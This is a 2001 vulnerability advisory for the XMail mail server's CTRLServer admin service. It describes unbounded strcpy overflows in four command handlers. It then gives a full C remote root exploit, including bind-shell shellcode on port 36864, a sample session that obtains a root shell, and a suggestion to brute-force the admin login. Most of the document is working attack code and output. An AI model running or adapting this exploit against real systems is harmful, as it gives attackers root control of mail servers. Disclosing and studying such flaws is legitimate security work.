SUMMARY I discovered all versions of XMail have buffer overflow vulnerabilities in CTRLServer.These holes is NOT same as APOP,USER command buffer overflow vulnerability discovered beforetime.And this problem allows a remote attacker to execute arbitrary code by issuing a long cfgfileget(cfgfileset,domainadd,domaindel)command. DETAILS Vulnerable systems: XMail version 0.66 and prior version Immune systems: None CTRLServer is a tool of XMail for administering purpose.It listen on port 6017(tunable). there are some bad programming lead to vulnerabilities. In CTRLSvr.cpp line 1888: CTRLDo_domainadd() function StrLower(strcpy(szDomain, ppszTokens[1])); szDomain is a 256 bytes local buffer,ppszTokens[1] is parsed from user input command,XMail copies them without bounds checking.It is possible to cause cover EIP,because XMail is run as root,an attacker can execute arbitrary code with root privilege. There are same vulnerabilities in CTRLSvr.cpp line 1921: CTRLDo_domaindel() function StrLower(strcpy(szDomain, ppszTokens[1])); line 2448: CTRLDo_cfgfileget() function strcpy(szRelativePath, ppszTokens[1]); line 2523: CTRLDo_cfgfileset() function strcpy(szRelativePath, ppszTokens[1]); Before exploit the vulnerabilities,it is need to login with CTRLServer username&password.I think it is easy to get that by brute forcing. I wrote a program to test the vulnerabilities,on my Redhat 6.0 i386+XMail 0.65 (0.66 has same bugs): [root@isno /root]# gcc -o xmailx xmailx.c [root@isno /root]# ./xmailx isno mypasswd 127.0.0.1 Use retAddress: 0xbc7fe974 +00000 <981016616.25626@127.0.0.1> XMail 0.65 (Linux/Ix86) CTRL Server; Thu, 01 Feb 2001 16:36:56 +0800 Starting to login... Success!now telnet 127.0.0.1 36864 [root@isno /root]# telnet 127.0.0.1 36864 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. id; uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) : command not found Because the buffer is too small to set many of NOP before shellcode,it is deficult to guess ret.And it cannot brute force offset,because once sending overflow code to the CTRLServer, XMail will be crashed. PATCH: http://www.mycio.com/davidel/xmail should release the patch. Excuse my poor english... isno isno@etang.com /* * XMail CTRLServer remote root exploit for linux/x86 * * Author: isno(isno@etang.com), 01/2001 * * NOTE: * Because the buffer is too small to set many of NOP before shellcode,it * is deficult to guess ret.And it cannot brute force offset,because once * sending overflow code to the CTRLServer, XMail will be crashed. * * * Tested on: * RedHat Linux 6.0 i386 XMail 0.65 * * Compile: * gcc -o xmailx xmailx.c * * Usage: * ./xmailx username passwd targethost [offset] * and telnet targethost 36864 * */ #include #include #include #include #include #include #define BSIZE 512 #define RETADDRESS 0xbc7fe988 /* maybe 0xbffff9a4 in some box */ #define OFFSET 20 #define NOP 0x90 #define PORT 6017 void usage(char *app); /* shellcode bind TCP port 36864 */ char shellcode[]= /* main: */ "\xeb\x72" /* jmp callz */ /* start: */ "\x5e" /* popl %esi */ /* socket() */ "\x29\xc0" /* subl %eax, %eax */ "\x89\x46\x10" /* movl %eax, 0x10(%esi) */ "\x40" /* incl %eax */ "\x89\xc3" /* movl %eax, %ebx */ "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ "\x40" /* incl %eax */ "\x89\x46\x08" /* movl %eax, 0x08(%esi) */ "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ "\xb0\x66" /* movb $0x66, %al */ "\xcd\x80" /* int $0x80 */ /* bind() */ "\x43" /* incl %ebx */ "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ "\x88\x46\x08" /* movb %al, 0x08(%esi) */ "\x29\xc0" /* subl %eax, %eax */ "\x89\xc2" /* movl %eax, %edx */ "\x89\x46\x18" /* movl %eax, 0x18(%esi) */ "\xb0\x90" /* movb $0x90, %al */ "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ "\xb0\x66" /* movb $0x66, %al */ "\xcd\x80" /* int $0x80 */ /* listen() */ "\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ "\x43" /* incl %ebx */ "\x43" /* incl %ebx */ "\xb0\x66" /* movb $0x66, %al */ "\xcd\x80" /* int $0x80 */ /* accept() */ "\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ "\x89\x56\x10" /* movl %edx, 0x10(%esi) */ "\xb0\x66" /* movb $0x66, %al */ "\x43" /* incl %ebx */ "\xcd\x80" /* int $0x80 */ /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" /* xchgb %al, %bl */ "\xb0\x3f" /* movb $0x3f, %al */ "\x29\xc9" /* subl %ecx, %ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f, %al */ "\x41" /* incl %ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f, %al */ "\x41" /* incl %ecx */ "\xcd\x80" /* int $0x80 */ /* execve() */ "\x88\x56\x07" /* movb %dl, 0x07(%esi) */ "\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ "\x87\xf3" /* xchgl %esi, %ebx */ "\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ "\xb0\x0b" /* movb $0x0b, %al */ "\xcd\x80" /* int $0x80 */ /* callz: */ "\xe8\x89\xff\xff\xff" /* call start */ "/bin/sh"; /* 128 bytes */ int main(int argc, char *argv[]) { char buff[BSIZE+1]; char sendbuf[600]="cfgfileget\t"; char loginbuf[200]; char rcvbuf[1024]; char *username; char *password; char *target; int i; int noprange; int offset=OFFSET; u_long sp=RETADDRESS; u_long addr; int skt; long inet; struct hostent *host; struct sockaddr_in sin; if(argc<4) { usage(argv[0]); return 1; } username = argv[1]; password = argv[2]; target = argv[3]; if(argc>4) { offset = atoi(argv[4]); } addr=sp - (long)offset; noprange=256+4-strlen(shellcode); memset(buff, NOP, BSIZE); memcpy(buff+(long)noprange, shellcode, strlen(shellcode)); for (i = 256+4; i < BSIZE; i += 4) *((int *) &buff[i]) = addr; buff[BSIZE]='\0'; fprintf(stderr, "\nUse retAddress: 0x%08x\n\n",addr); strcat(sendbuf, buff); strcat(sendbuf, "\r\n"); strcpy(loginbuf,username); strcat(loginbuf,"\t"); /* command should splitted by TAB */ strcat(loginbuf,password); strcat(loginbuf,"\r\n"); skt = socket(PF_INET, SOCK_STREAM, 0); if(skt == 0) { perror("socket()"); exit(-1); } inet = inet_addr(target); if(inet == -1) { if(host = gethostbyname(target)) memcpy(&inet, host->h_addr, 4); else inet = -1; if(inet == -1) { fprintf(stderr, "Cant resolv %s!!\n", target); exit (-1); } } sin.sin_family = PF_INET; sin.sin_port = htons(PORT); sin.sin_addr.s_addr = inet; if (connect (skt, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("Connect()"); exit(-1); } read(skt, rcvbuf, 1024); fprintf(stderr, "%s\n", rcvbuf); memset(rcvbuf, 0x0, 1024); fprintf(stderr, "Starting to login...\n"); write(skt, loginbuf, strlen(loginbuf)); sleep(1); read(skt, rcvbuf, 1024); if(strstr(rcvbuf,"00000")==NULL) { perror("Login failed!"); exit(-1); } write(skt, sendbuf, strlen(sendbuf)); close(skt); fprintf(stderr, "Success!now telnet %s 36864\n", target); return 1; } void usage(char *app) { fprintf(stderr, "\nXMail 0.65/0.66 CTRLSvr exploit\n\n"); fprintf(stderr, "Usage: %s username passwd targethost [offset]\n\n", app); return; }